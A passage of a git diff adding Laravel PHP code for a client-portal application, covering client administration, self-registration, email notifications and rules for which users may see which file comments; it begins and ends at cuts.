a/app/Modules/Clients/Http/Controllers/ClientsController.php b/app/Modules/Clients/Http/Controllers/ClientsController.php new file mode 100644 index 00000000..b3d58555 --- /dev/null +++ b/app/Modules/Clients/Http/Controllers/ClientsController.php @@ -0,0 +1,311 @@ +validate([ + 'search' => ['nullable', 'string', 'max:255'], + 'status' => ['nullable', Rule::in(['active', 'inactive'])], + ]); + + $filters = [ + 'search' => $validated['search'] ?? null, + 'status' => $validated['status'] ?? null, + ]; + + $clients = User::query() + ->where('type', UserType::Client) + ->when($filters['search'], fn (Builder $query, string $search) => $query->where(fn (Builder $q) => $q + ->where('name', 'like', "%{$search}%") + ->orWhere('email', 'like', "%{$search}%"))) + ->when($filters['status'], fn (Builder $query, string $status) => $query->where('active', $status === 'active')) + ->orderBy('name') + ->paginate(25) + ->withQueryString(); + + $content = $this->accountContent->summarizeMany($clients->pluck('id')); + + $clients->through(fn (User $client): array => [ + 'id' => $client->id, + 'name' => $client->name, + 'email' => $client->email, + 'active' => $client->active, + 'account_requested' => $client->account_requested, + 'created_at' => $client->created_at?->toIso8601String(), + 'content' => $content[$client->id] ?? ['files' => 0, 'folders' => 0], + ]); + + return Inertia::render('clients/index', [ + 'clients' => $clients->items(), + 'pagination' => Pagination::meta($clients), + 'filters' => $filters, + 'reassign_candidates' => $this->accountDeletion->candidates(), + ]); + } + + public function create(): Response + { + return Inertia::render('clients/create', [ + 'custom_fields' => $this->customFieldDefinitions(), + 'default_storage_quota_mb' => (int) $this->settings->get(Setting::DefaultClientStorageQuotaMb), + ]); + } + + public function store(Request $request): RedirectResponse + { + $validated = $request->validate(array_merge([ + 'name' => ['required', 'string', 'max:255'], + 'email' => ['required', 'string', 'lowercase', 'email', 'max:255', 'unique:users,email'], + 'password' => ['required', 'confirmed', Password::defaults()], + 'storage_quota_mb' => ['nullable', 'integer', 'min:0'], + ], $this->customFieldRules())); + + $client = User::create([ + 'type' => UserType::Client, + 'active' => true, + 'account_requested' => false, + 'role_id' => Role::query()->where('name', SystemRole::Client->value)->value('id'), + 'name' => $validated['name'], + 'email' => $validated['email'], + 'password' => $validated['password'], + // 0 (including an omitted field) means "no custom quota" — + // it inherits Setting::DefaultClientStorageQuotaMb at + // enforcement time (see ClientStorageUsage::quotaMb()), not + // baked in here, so a later change to the site default + // keeps applying to this client automatically. + 'storage_quota_mb' => $validated['storage_quota_mb'] ?? 0, + 'email_verified_at' => now(), + ]); + + $this->activity->log(Action::UserCreated, subject: $client); + + $this->saveCustomFieldValues($client, $validated['custom_field_values'] ?? []); + + if ($this->settings->get(Setting::EmailNotificationsEnabled) === true) { + $client->notify(new ClientWelcomeNotification); + } + + return redirect()->route('clients.edit', $client)->with('success', __('Client created.')); + } + + public function edit(User $client): Response + { + abort_unless($client->isClient(), 404); + + return Inertia::render('clients/edit', [ + 'client' => [ + 'id' => $client->id, + 'name' => $client->name, + 'email' => $client->email, + 'active' => $client->active, + 'account_requested' => $client->account_requested, + 'storage_quota_mb' => $client->storage_quota_mb, + 'two_factor_enabled' => $client->hasTwoFactorEnabled(), + ], + 'default_storage_quota_mb' => (int) $this->settings->get(Setting::DefaultClientStorageQuotaMb), + 'storage_used_mb' => (int) ceil($this->storageUsage->usedBytes($client) / 1024 / 1024), + 'custom_fields' => $this->customFieldDefinitions(), + 'custom_field_values' => ClientCustomFieldValue::query() + ->where('user_id', $client->id) + ->pluck('value', 'client_custom_field_id'), + 'content' => $this->accountContent->summarize($client), + 'reassign_candidates' => $this->accountDeletion->candidates($client->id), + ]); + } + + public function update(Request $request, User $client): RedirectResponse + { + abort_unless($client->isClient(), 404); + + $validated = $request->validate(array_merge([ + 'name' => ['required', 'string', 'max:255'], + 'email' => ['required', 'string', 'lowercase', 'email', 'max:255', Rule::unique('users', 'email')->ignore($client->id)], + 'active' => ['required', 'boolean'], + 'password' => ['nullable', 'confirmed', Password::defaults()], + 'storage_quota_mb' => ['nullable', 'integer', 'min:0'], + ], $this->customFieldRules())); + + $wasActive = $client->active; + $passwordChanged = is_string($validated['password'] ?? null) && $validated['password'] !== ''; + + $client->fill([ + 'name' => $validated['name'], + 'email' => $validated['email'], + 'active' => $validated['active'], + // The edit form always submits this field — an empty value + // means the admin explicitly cleared it (ConvertEmptyStringsToNull + // turns it into null before validation), not "leave unchanged". + // 0 = inherit the site default, same as a brand-new client. + 'storage_quota_mb' => $validated['storage_quota_mb'] ?? 0, + ]); + + // Activating a pending account through the edit screen counts as + // approval and clears the request flag. + if ($client->account_requested && $validated['active']) { + $client->account_requested = false; + } + + if ($passwordChanged) { + $client->password = $validated['password']; + } + + $client->save(); + + $this->saveCustomFieldValues($client, $validated['custom_field_values'] ?? []); + + $this->activity->log(Action::UserUpdated, subject: $client); + + if ($wasActive && ! $client->active) { + $this->activity->log(Action::UserDeactivated, subject: $client); + } elseif (! $wasActive && $client->active) { + $this->activity->log(Action::UserActivated, subject: $client); + } + + // Skip a no-op resubmit (same name/email/active, no new password). + if (($client->wasChanged(['name', 'email', 'active']) || $passwordChanged) + && $this->settings->get(Setting::EmailNotificationsEnabled) === true) { + $client->notify(new ClientAccountEditedNotification); + } + + return back()->with('success', __('Client updated.')); + } + + /** + * Remove this account's second factor, for the client who has lost + * their authenticator and their recovery codes. + */ + public function destroyTwoFactor(User $client, TwoFactorAdministration $twoFactor): RedirectResponse + { + abort_unless($client->isClient(), 404); + + $twoFactor->reset($client); + + return back()->with('success', __('Two-factor authentication removed.')); + } + + public function destroy(Request $request, User $client): RedirectResponse + { + abort_unless($client->isClient(), 404); + + $validated = $this->accountDeletion->validate($request, $client); + + $name = $client->name; + $client->delete(); + + $this->activity->log(Action::UserDeleted, context: ['name' => $name]); + + $this->accountDeletion->apply($validated, $client, $name); + + return redirect()->route('clients.index')->with('success', __('Client deleted.')); + } + + /** + * @return list> + */ + private function customFieldDefinitions(): array + { + return array_values(ClientCustomField::query() + ->orderBy('sort_order') + ->orderBy('id') + ->get() + ->map(fn (ClientCustomField $field): array => [ + 'id' => $field->id, + 'label' => $field->label, + 'type' => $field->type->value, + 'options' => $field->options, + 'required' => $field->required, + ]) + ->all()); + } + + /** + * @return array> + */ + private function customFieldRules(): array + { + $rules = []; + + foreach (ClientCustomField::query()->get() as $field) { + $key = "custom_field_values.{$field->id}"; + + // Checkboxes are never hard-required here — "required" only + // drives the asterisk shown on the form, not a forced check. + if ($field->type === ClientCustomFieldType::Checkbox) { + $rules[$key] = ['nullable', 'boolean']; + + continue; + } + + $rules[$key] = [$field->required ? 'required' : 'nullable', 'string', 'max:2000']; + + if ($field->type === ClientCustomFieldType::Select && is_array($field->options)) { + $rules[$key][] = Rule::in($field->options); + } + } + + return $rules; + } + + /** + * @param array $values field id => submitted value + */ + private function saveCustomFieldValues(User $client, array $values): void + { + foreach (ClientCustomField::query()->get() as $field) { + $submitted = $values[$field->id] ?? null; + $value = $field->type === ClientCustomFieldType::Checkbox + ? ($submitted ? '1' : '0') + : (is_string($submitted) ? $submitted : null); + + ClientCustomFieldValue::query()->updateOrCreate( + ['client_custom_field_id' => $field->id, 'user_id' => $client->id], + ['value' => $value === '' ? null : $value], + ); + } + } +} diff --git a/app/Modules/Clients/Http/Controllers/RegistrationController.php b/app/Modules/Clients/Http/Controllers/RegistrationController.php new file mode 100644 index 00000000..1ce45dfa --- /dev/null +++ b/app/Modules/Clients/Http/Controllers/RegistrationController.php @@ -0,0 +1,127 @@ +settings->get(Setting::ClientsCanRegister) === true, 404); + + return Inertia::render('auth/register', [ + 'auto_approve' => $this->settings->get(Setting::ClientsAutoApprove) === true, + 'selectable_groups' => $this->selectableGroups() + ->map(fn (Group $group): array => ['id' => $group->id, 'name' => $group->name]) + ->values() + ->all(), + 'custom_fields' => $this->customFields->rows(ClientFieldContext::Registration, null), + ]); + } + + /** + * Groups a registrant may request membership to, per the + * clients_can_select_group setting. + * + * @return Collection + */ + private function selectableGroups(): Collection + { + return match ($this->settings->get(Setting::ClientsCanSelectGroup)) { + 'public' => Group::query()->where('public', true)->orderBy('name')->get(), + default => Group::query()->whereRaw('1 = 0')->get(), + }; + } + + public function store(Request $request): RedirectResponse + { + abort_unless($this->settings->get(Setting::ClientsCanRegister) === true, 404); + + $validated = $request->validate([ + 'name' => ['required', 'string', 'max:255'], + 'email' => ['required', 'string', 'lowercase', 'email', 'max:255', 'unique:users,email'], + 'password' => ['required', 'confirmed', Password::defaults()], + 'groups' => ['array'], + 'groups.*' => ['integer', Rule::in($this->selectableGroups()->pluck('id')->all())], + ...$this->customFields->rules(ClientFieldContext::Registration, null), + // Exactly one verification per request. v1's registration path + // verified twice for reCAPTCHA v2 — the second time on a token + // its own first call had already consumed — which made + // self-registration impossible to complete. + ...Rules::captcha(CaptchaForm::Register), + ]); + + $autoApprove = $this->provisioning->autoApproves(); + + // Creation, approval state, the auto-join group and the + // administrator notification are shared with LDAP provisioning — + // see ClientProvisioning. What stays here is what only a + // registration form has: custom fields and requested groups. + $client = $this->provisioning->provision( + $validated['name'], + $validated['email'], + $validated['password'], + Action::ClientSelfRegistered, + ); + + $this->customFields->save($client, ClientFieldContext::Registration, $validated['custom_field_values'] ?? []); + + $autoGroupId = (int) $this->settings->get(Setting::ClientsAutoGroup); + + // Requested groups wait for staff approval. + foreach (array_unique($validated['groups'] ?? []) as $groupId) { + if ((int) $groupId === $autoGroupId) { + continue; + } + + $membershipRequest = MembershipRequest::query()->create([ + 'group_id' => $groupId, + 'user_id' => $client->id, + ]); + + $this->activity->log(Action::GroupMembershipRequested, $client, $membershipRequest->group); + } + + return redirect()->route('login')->with( + 'status', + $autoApprove + ? __('Your account has been created. You can log in now.') + : __('Your account request has been received. You will be able to log in once it is approved.'), + ); + } +} diff --git a/app/Modules/Clients/Http/Resources/Api/ClientResource.php b/app/Modules/Clients/Http/Resources/Api/ClientResource.php new file mode 100644 index 00000000..f8148dcf --- /dev/null +++ b/app/Modules/Clients/Http/Resources/Api/ClientResource.php @@ -0,0 +1,123 @@ +|null field id => value */ + private ?array $customFieldValues = null; + + private ?ClientStorageUsage $storage = null; + + /** @var array{files: int, folders: int}|null */ + private ?array $content = null; + + /** + * The richer single-client shape. + * + * A named constructor rather than extra __construct parameters: + * JsonResource::collection() maps the collection through + * `new static($item, $key)`, so widening the constructor silently + * breaks every listing with a TypeError on the second argument. + * + * @param array $customFieldValues field id => value + * @param array{files: int, folders: int} $content + */ + public static function detailed( + User $client, + array $customFieldValues, + ClientStorageUsage $storage, + array $content, + ): self { + $resource = new self($client); + $resource->customFieldValues = $customFieldValues; + $resource->storage = $storage; + $resource->content = $content; + + return $resource; + } + + /** + * @return array + */ + public function toArray(Request $request): array + { + $data = [ + 'id' => $this->id, + 'name' => $this->name, + 'email' => $this->email, + 'active' => $this->active, + 'account_requested' => $this->account_requested, + // Whether, not what: the state of the second factor is what a + // caller needs to see before removing it. The secret and the + // recovery codes stay where they are. + 'two_factor_enabled' => $this->hasTwoFactorEnabled(), + 'created_at' => $this->created_at?->toIso8601String(), + 'updated_at' => $this->updated_at?->toIso8601String(), + ]; + + if ($this->storage !== null) { + $quotaMb = $this->storage->quotaMb($this->resource); + + $data['storage'] = [ + // The client's own column, where 0 means "inherit the site + // default" rather than "unlimited" — both are reported so a + // caller need not know that rule to display it correctly. + 'quota_mb' => $this->storage_quota_mb, + 'effective_quota_mb' => $quotaMb, + 'unlimited' => $quotaMb === 0, + 'used_mb' => (int) ceil($this->storage->usedBytes($this->resource) / 1024 / 1024), + ]; + } + + if ($this->customFieldValues !== null) { + $data['custom_fields'] = ClientCustomField::query() + ->orderBy('sort_order') + ->orderBy('id') + ->get() + ->map(fn (ClientCustomField $field): array => [ + 'id' => $field->id, + 'name' => $field->name, + 'label' => $field->label, + 'type' => $field->type->value, + 'value' => $this->customFieldValues[$field->id] ?? null, + ]) + ->all(); + } + + if ($this->content !== null) { + // What a caller needs in order to answer DELETE's mandatory + // content-disposition question before asking. + $data['content'] = $this->content; + } + + return $data; + } +} diff --git a/app/Modules/Clients/Models/ClientCustomField.php b/app/Modules/Clients/Models/ClientCustomField.php new file mode 100644 index 00000000..74ed37b2 --- /dev/null +++ b/app/Modules/Clients/Models/ClientCustomField.php @@ -0,0 +1,50 @@ +|null $options + * @property bool $required + * @property int $sort_order + * @property ClientFieldEditability $client_editability + * @property list|null $client_contexts + */ +class ClientCustomField extends Model +{ + protected $guarded = []; + + protected function casts(): array + { + return [ + 'type' => ClientCustomFieldType::class, + 'options' => 'array', + 'required' => 'boolean', + 'client_editability' => ClientFieldEditability::class, + 'client_contexts' => 'array', + ]; + } + + /** + * @return HasMany + */ + public function values(): HasMany + { + return $this->hasMany(ClientCustomFieldValue::class); + } +} diff --git a/app/Modules/Clients/Models/ClientCustomFieldValue.php b/app/Modules/Clients/Models/ClientCustomFieldValue.php new file mode 100644 index 00000000..4faafe8b --- /dev/null +++ b/app/Modules/Clients/Models/ClientCustomFieldValue.php @@ -0,0 +1,39 @@ + + */ + public function field(): BelongsTo + { + return $this->belongsTo(ClientCustomField::class, 'client_custom_field_id'); + } + + /** + * @return BelongsTo + */ + public function client(): BelongsTo + { + return $this->belongsTo(User::class, 'user_id'); + } +} diff --git a/app/Modules/Clients/Notifications/AdminClientRegisteredNotification.php b/app/Modules/Clients/Notifications/AdminClientRegisteredNotification.php new file mode 100644 index 00000000..211eb2df --- /dev/null +++ b/app/Modules/Clients/Notifications/AdminClientRegisteredNotification.php @@ -0,0 +1,56 @@ + + */ + public function via(object $notifiable): array + { + return ['mail']; + } + + public function toMail(object $notifiable): MailMessage + { + $override = $this->overrideOrNull(EmailTemplateSlot::AdminClientRegistered); + + $message = $override !== null + ? $this->mailFromOverride($override, [':name' => $this->name, ':email' => $this->email]) + : (new MailMessage) + ->subject(__('A new client has registered')) + ->line(__('A new client account was created: :name (:email).', ['name' => $this->name, 'email' => $this->email])); + + // The pending-approval notice and its action stay code-controlled + // regardless of a customized template, same as every other action. + if ($this->pendingApproval) { + $message->line(__('Their account is waiting for approval.')) + ->action(__('Review pending requests'), route('account-requests.index')); + } + + return $message; + } +} diff --git a/app/Modules/Clients/Notifications/ClientAccountApprovedNotification.php b/app/Modules/Clients/Notifications/ClientAccountApprovedNotification.php new file mode 100644 index 00000000..e4a73aad --- /dev/null +++ b/app/Modules/Clients/Notifications/ClientAccountApprovedNotification.php @@ -0,0 +1,37 @@ + + */ + public function via(object $notifiable): array + { + return ['mail']; + } + + public function toMail(object $notifiable): MailMessage + { + if (($override = $this->overrideOrNull(EmailTemplateSlot::ClientAccountApproved)) !== null) { + return $this->mailFromOverride($override, [])->action(__('Log in'), route('login')); + } + + return (new MailMessage) + ->subject(__('Your account has been approved')) + ->line(__('Your account request has been approved. You can now log in.')) + ->action(__('Log in'), route('login')); + } +} diff --git a/app/Modules/Clients/Notifications/ClientAccountDeniedNotification.php b/app/Modules/Clients/Notifications/ClientAccountDeniedNotification.php new file mode 100644 index 00000000..8603fb2c --- /dev/null +++ b/app/Modules/Clients/Notifications/ClientAccountDeniedNotification.php @@ -0,0 +1,46 @@ +notify() — the account row is force-deleted in the same + * request, and a queued job re-fetching a deleted model would fail. + */ +class ClientAccountDeniedNotification extends Notification implements ShouldQueue +{ + use Queueable, RendersOverridableMail; + + public function __construct( + private readonly string $name, + ) {} + + /** + * @return array + */ + public function via(object $notifiable): array + { + return ['mail']; + } + + public function toMail(object $notifiable): MailMessage + { + if (($override = $this->overrideOrNull(EmailTemplateSlot::ClientAccountDenied)) !== null) { + return $this->mailFromOverride($override, [':name' => $this->name]); + } + + return (new MailMessage) + ->subject(__('Your account request was denied')) + ->greeting(__('Hello :name,', ['name' => $this->name])) + ->line(__('Your account request has been denied.')); + } +} diff --git a/app/Modules/Clients/Notifications/ClientAccountEditedNotification.php b/app/Modules/Clients/Notifications/ClientAccountEditedNotification.php new file mode 100644 index 00000000..c0d3b4ab --- /dev/null +++ b/app/Modules/Clients/Notifications/ClientAccountEditedNotification.php @@ -0,0 +1,41 @@ + + */ + public function via(object $notifiable): array + { + return ['mail']; + } + + public function toMail(object $notifiable): MailMessage + { + if (($override = $this->overrideOrNull(EmailTemplateSlot::ClientAccountEdited)) !== null) { + return $this->mailFromOverride($override, []); + } + + return (new MailMessage) + ->subject(__('Your account was updated')) + ->line(__('Your account details were recently changed by an administrator. Contact your administrator if this was not expected.')); + } +} diff --git a/app/Modules/Clients/Notifications/ClientWelcomeNotification.php b/app/Modules/Clients/Notifications/ClientWelcomeNotification.php new file mode 100644 index 00000000..aa5c2614 --- /dev/null +++ b/app/Modules/Clients/Notifications/ClientWelcomeNotification.php @@ -0,0 +1,42 @@ + + */ + public function via(object $notifiable): array + { + return ['mail']; + } + + public function toMail(object $notifiable): MailMessage + { + if (($override = $this->overrideOrNull(EmailTemplateSlot::ClientWelcome)) !== null) { + return $this->mailFromOverride($override, [])->action(__('Log in'), route('login')); + } + + return (new MailMessage) + ->subject(__('Welcome')) + ->line(__('An account has been created for you. You can log in now.')) + ->action(__('Log in'), route('login')); + } +} diff --git a/app/Modules/Comments/Access/VisibleCommentScope.php b/app/Modules/Comments/Access/VisibleCommentScope.php new file mode 100644 index 00000000..de1854a4 --- /dev/null +++ b/app/Modules/Comments/Access/VisibleCommentScope.php @@ -0,0 +1,464 @@ + + */ + public function for(?User $viewer, File $file): Builder + { + return $this->applyVisibility( + FileComment::query()->where('file_id', $file->id), + $viewer, + $file->isEffectivelyPublic(), + ); + } + + /** + * Every comment this staff member may read, across their whole library + * — the management screen's query, rather than one file's thread. + * + * Same predicate as for(), so the screen that lists everything is still + * governed by the rule at the top of this class: another person's "only + * me" note is not in it, and neither is a conversation belonging to a + * client this viewer is not assigned to. **A moderation screen is not a + * way around the visibility model** — moderating means deciding about + * comments you can already see. + * + * Staff only. A client has no cross-file view of comments and asking + * for one is a mistake rather than an empty result, but returning + * nothing is the safe way to be wrong. + * + * @return Builder + */ + public function across(User $viewer): Builder + { + if (! $viewer->isStaff()) { + return FileComment::query()->whereRaw('1 = 0'); + } + + return $this->applyVisibility( + FileComment::query()->whereIn('file_id', $this->scope->files($viewer)->select('files.id')), + $viewer, + // Publicness is a property of each file, so it cannot be one + // value for a query spanning many. It does not have to be: the + // staff branch of applyVisibility never reads this argument + // (staff keep seeing Everyone comments whatever the file's + // current state), and this method is staff-only. + isPublic: false, + ); + } + + /** + * How many comments are waiting for a decision anywhere in this + * viewer's library — the sidebar badge. + * + * Deliberately not derived from across(): a held comment is invisible + * to everyone but a moderator, so the number is about the queue rather + * than about what this viewer may read, and a moderator who cannot see + * a particular client's thread must still be told the file has + * something waiting. + */ + public function pendingTotal(User $viewer): int + { + if (! $viewer->isStaff() || ! $viewer->can('moderate_comments')) { + return 0; + } + + return FileComment::query() + ->whereNull('approved_at') + ->whereIn('file_id', $this->scope->files($viewer)->select('files.id')) + ->count(); + } + + /** + * How many comments each of these files has, from this viewer's point + * of view — the number on a file row. + * + * Runs the same predicate as for(), because it calls the same private + * method: this is the bulk shape of one rule, not a second statement + * of it. The only thing it cannot batch is whether a file is public, + * which is a property of each row rather than of the query, so the + * files are split into two groups and the predicate applied to each. + * + * @param iterable $files + * @return array file id => count + */ + public function countsFor(?User $viewer, iterable $files): array + { + $public = []; + $private = []; + + foreach ($files as $file) { + if ($file->isEffectivelyPublic()) { + $public[] = $file->id; + } else { + $private[] = $file->id; + } + } + + $counts = []; + + foreach ([[$public, true], [$private, false]] as [$ids, $isPublic]) { + if ($ids === []) { + continue; + } + + $rows = $this->applyVisibility(FileComment::query()->whereIn('file_id', $ids), $viewer, $isPublic) + ->selectRaw('file_id, count(*) as aggregate') + ->groupBy('file_id') + ->pluck('aggregate', 'file_id'); + + foreach ($rows as $fileId => $count) { + $counts[(int) $fileId] = (int) $count; + } + } + + return $counts; + } + + /** + * @param Builder $query + * @return Builder + */ + private function applyVisibility(Builder $query, ?User $viewer, bool $isPublic): Builder + { + // A comment awaiting moderation exists only for those who can act + // on it — and for whoever wrote it, who would otherwise watch their + // own comment vanish on posting and conclude it had failed. A + // visitor is recognised by their session (see GuestCommentIdentity); + // that is weak on purpose, and only ever widens what somebody sees + // of their own writing. + if ($viewer === null || ! $viewer->can('moderate_comments')) { + $ownPending = $viewer === null ? $this->guests->ownCommentIds() : []; + + $query->where(fn (Builder $visible) => $visible + ->whereNotNull('approved_at') + ->when($ownPending !== [], fn (Builder $mine) => $mine->orWhereIn('id', $ownPending))); + } + + if ($viewer === null) { + // Publicness is re-derived here on every read rather than + // frozen onto the comment at write time, so making a file + // private later retracts its public comments too. + return $isPublic + ? $query->where('visibility', CommentVisibility::Everyone) + : $query->whereRaw('1 = 0'); + } + + return $query->where(function (Builder $outer) use ($viewer, $isPublic): void { + // Your own comments, whatever audience you gave them. This is + // the only branch that can return a CommentVisibility::OnlyMe + // row, which is what makes "only me" mean it. + $outer->where('author_id', $viewer->id); + + if ($viewer->isStaff()) { + // Staff keep seeing Everyone comments after a file stops + // being public — they can see the file, and a history with + // holes in it is worse than one that is merely stale. + $outer->orWhere('visibility', CommentVisibility::Everyone); + $outer->orWhere('visibility', CommentVisibility::StaffOnly); + $this->applyStaffThreads($outer, $viewer); + + return; + } + + if ($isPublic) { + $outer->orWhere('visibility', CommentVisibility::Everyone); + } + + // A client reads two things: what staff addressed to every + // client on this file, and their own conversation. Never a + // staff-only note, and never another client's conversation — + // they are not told the others are there. + $outer->orWhere(fn (Builder $broadcast) => $broadcast + ->where('visibility', CommentVisibility::Clients) + ->whereNull('client_context_id')); + + $outer->orWhere(fn (Builder $thread) => $thread + ->where('visibility', CommentVisibility::Clients) + ->where('client_context_id', $viewer->id)); + }); + } + + /** + * How many comments on each file are waiting for a decision. + * + * Distinct from unreadCountsFor: unread is "you have not looked at + * this yet", pending is "nobody can see this until somebody acts". + * Only a moderator gets a count at all, which is why the empty array + * for everyone else is the whole answer rather than a filter applied + * afterwards — a staff member who cannot approve should not be shown + * a badge asking them to. + * + * @param list $fileIds + * @return array file id => count + */ + public function pendingCountsFor(User $viewer, array $fileIds): array + { + if ($fileIds === [] || ! $viewer->can('moderate_comments')) { + return []; + } + + $rows = FileComment::query() + ->whereIn('file_id', $fileIds) + ->whereNull('approved_at') + ->selectRaw('file_id, count(*) as aggregate') + ->groupBy('file_id') + ->pluck('aggregate', 'file_id'); + + $counts = []; + + foreach ($rows as $fileId => $count) { + $counts[(int) $fileId] = (int) $count; + } + + return $counts; + } + + /** + * How many comments on each file are new to this viewer. + * + * Read state rides on the notification system's own `read_at` rather + * than a file_comment_reads table of its own: a viewer has already + * been told about every comment they may see (that is what + * recipientsFor guarantees), so "unread notification about this file" + * and "unread comment on this file" are the same set. A second + * mechanism would only be a second thing to keep in step. + * + * @param list $fileIds + * @return array file id => count + */ + public function unreadCountsFor(User $viewer, array $fileIds): array + { + if ($fileIds === []) { + return []; + } + + $rows = InAppNotification::query() + ->where('user_id', $viewer->id) + ->where('type', 'file_comment.posted') + ->where('subject_type', (new File)->getMorphClass()) + ->whereIn('subject_id', $fileIds) + ->whereNull('read_at') + ->selectRaw('subject_id, count(*) as aggregate') + ->groupBy('subject_id') + ->pluck('aggregate', 'subject_id'); + + $counts = []; + + foreach ($rows as $fileId => $count) { + $counts[(int) $fileId] = (int) $count; + } + + return $counts; + } + + /** + * Who should be told about $comment, excluding its own author. + * + * This is the set-of-people mirror of for()'s set-of-rows, and exists + * so Notifier's security contract can be honoured without the caller + * re-deriving visibility: a notification must never reach somebody the + * comment itself would not. + * + * Deliberately narrower than "everyone who could read it" in one case: + * an Everyone comment notifies staff only. Every client on a public + * file receiving a notification for every public remark would be noise, + * and staff are the ones who would act on it. + * + * @return Collection + */ + public function recipientsFor(FileComment $comment): Collection + { + $file = $comment->file; + + /** @var Collection $none */ + $none = new Collection; + + if ($comment->visibility === CommentVisibility::OnlyMe) { + return $none; + } + + $recipients = $this->staffWhoCanSee($file); + + $client = $comment->clientContext; + + if ($comment->visibility === CommentVisibility::Clients) { + if ($client !== null) { + // Staff whose library scope excludes this conversation's + // client must not hear about it — the same boundary for() + // applies to rows. + $recipients = $recipients + ->filter(fn (User $staff): bool => $this->scope->canAssignClient($staff, $client)) + ->values(); + + $recipients->push($client); + } else { + // Addressed to every client on the file, so every client on + // the file is told. This is the one case that fans out. + foreach ($this->clientsWhoCanSee($comment->file) as $recipient) { + $recipients->push($recipient); + } + } + } + + return $recipients + ->reject(fn (User $user): bool => $user->id === $comment->author_id) + ->values(); + } + + /** + * Staff who hold moderation rights — the audience for a comment held + * for approval, which is not the same audience as the comment itself + * (it has none yet). + * + * @return Collection + */ + public function moderators(File $file): Collection + { + return $this->staffWhoCanSee($file) + ->filter(fn (User $staff): bool => $staff->can('moderate_comments')) + ->values(); + } + + /** + * Clients this file is in front of: assigned to it, to a group it is + * shared with, or to the folder it sits in or any folder above that. + * + * Expressed through ShareTargets rather than as an inverted + * File::scopeVisibleToClient — that scope is the authority on "can this + * client see this file", and writing its mirror image here would be a + * third statement of a rule this feature depends on not drifting. The + * cost is that a client who reaches the file only by having uploaded it + * themselves is not notified of a message to all clients; they still + * read it when they open the file. + * + * @return Collection + */ + private function clientsWhoCanSee(File $file): Collection + { + $shares = $this->shareTargets->assigned($file); + + $groupIds = array_column($shares['groups'], 'id'); + $clientIds = array_column($shares['clients'], 'id'); + + $folder = $file->folder; + + if ($folder !== null) { + foreach (Folder::query()->whereIn('id', [$folder->id, ...$folder->ancestorIds()])->get() as $ancestor) { + $inherited = $this->shareTargets->assigned($ancestor); + $groupIds = [...$groupIds, ...array_column($inherited['groups'], 'id')]; + $clientIds = [...$clientIds, ...array_column($inherited['clients'], 'id')]; + } + } + + /** @var Collection $clients */ + $clients = User::query() + ->where('type', UserType::Client) + ->where(fn (Builder $who) => $who + ->whereIn('id', $clientIds) + ->orWhereHas('memberOfGroups', fn (Builder $groups) => $groups->whereIn('groups.id', $groupIds))) + ->get(); + + return $clients; + } + + /** + * Resolved per user through the file's own policy rather than as one + * query: FilePolicy::view mixes a permission check (a property of the + * viewer) with a scope check (a property of the row), and staff counts + * are small by design in this product — the v2 model puts limited + * staff on client scoping, not on large teams. + * + * @return Collection + */ + private function staffWhoCanSee(File $file): Collection + { + /** @var Collection $staff */ + $staff = User::query()->where('type', UserType::Staff)->get(); + + return $staff->filter(fn (User $user): bool => Gate::forUser($user)->allows('view', $file))->values(); + } + + /** + * @param Builder $outer + */ + private function applyStaffThreads(Builder $outer, User $viewer): void + { + // Null means unrestricted: this staff member sees every client's + // conversation on a file they can already open. + $clientIds = $this->scope->assignableClientIds($viewer); + + $outer->orWhere(function (Builder $thread) use ($clientIds): void { + $thread->where('visibility', CommentVisibility::Clients); + + if ($clientIds === null) { + return; + } + + // A client-scoped staff member sees their own clients' + // conversations, plus the messages addressed to every client on + // the file (no conversation of their own, so no client to be + // out of scope for), and nothing of the clients they are not + // assigned to. + $thread->where(fn (Builder $context) => $context + ->whereNull('client_context_id') + ->orWhereIn('client_context_id', $clientIds)); + }); + } +} diff --git a/app/Modules/Comments/CommentAuthors.php b/app/Modules/Comments/CommentAuthors.php new file mode 100644 index 00000000..de96d3a6 --- /dev/null +++ b/app/Modules/Comments/CommentAuthors.php @@ -0,0 +1,51 @@ + $type === UserType::Staff, + self::Clients => $type === UserType::Client, + self::StaffAndClients => $type !== null, + self::Everyone => true, + }; + } + + /** + * English label — also the translation key. + */ + public function label(): string + { + return match ($this) { + self::Staff => 'Staff only', + self::Clients => 'Clients only', + self::StaffAndClients => 'Staff and clients', + self::Everyone => 'Anyone, including visitors who are not logged in', + }; + } +} diff --git a/app/Modules/Comments/CommentPresenter.php b/app/Modules/Comments/CommentPresenter.php new file mode 100644 index 00000000..0dbf41f3 --- /dev/null +++ b/app/Modules/Comments/CommentPresenter.php @@ -0,0 +1,144 @@ +>, can_comment: bool, cannot_comment_reason: string|null, is_guest: bool, guest_moderated: bool, captcha_required: bool, visibilities: list>, default_visibility: string|null, edit_window_minutes: int} + */ + public function thread(?User $viewer, File $file): array + { + $forStaff = $viewer?->isStaff() === true; + + $comments = $this->scope->for($viewer, $file) + ->with(['author', 'clientContext']) + ->orderBy('created_at') + ->orderBy('id') + ->get(); + + /** @var list> $presented */ + $presented = $comments->map(fn (FileComment $comment): array => $this->present($viewer, $comment))->values()->all(); + + return [ + 'comments' => $presented, + 'can_comment' => $this->rules->canPost($viewer, $file), + // …and why not, when not. Without it the composer disappears + // silently and the empty thread says "No comments yet", which + // reads as nobody having written one rather than as the box + // being closed — the two are indistinguishable to the person + // looking for somewhere to type. + 'cannot_comment_reason' => $this->rules->postingBlockedReason($viewer, $file), + // The composer asks an anonymous author for a name and warns + // that their comment is held; a signed-in one gets neither. + // Decided here because the public page serves both, and the + // page cannot tell them apart — it has no viewer. + 'is_guest' => $viewer === null, + // Whether an anonymous comment actually waits for a moderator. + // The composer promises that it does, and the promise has to be + // true: with moderation off the comment appears immediately, + // and saying otherwise is simply a lie to the person writing it. + 'guest_moderated' => $this->rules->moderatesGuests(), + // Whether this author will be asked for a security check. Sent + // per thread rather than read from the shared props, because + // only the server knows whether this viewer counts as a + // visitor — the composer is the same component either way. + 'captcha_required' => $this->rules->captchaRequiredFor($viewer), + // Labels depend on which end of the conversation is reading: + // `clients` is one channel, and staff call it "Clients" while a + // client calls it "Staff". Unavailable audiences are sent too, + // so the composer can show them disabled with the reason rather + // than leave a hole where an option used to be. + 'visibilities' => array_map( + fn (array $option): array => [ + 'value' => $option['visibility']->value, + 'label' => $option['visibility']->label($forStaff), + 'description' => $option['visibility']->description($forStaff), + 'available' => $option['available'], + 'reason' => $option['reason'], + ], + $this->rules->visibilityOptions($viewer, $file), + ), + 'default_visibility' => $this->rules->defaultVisibility($viewer, $file)?->value, + 'edit_window_minutes' => 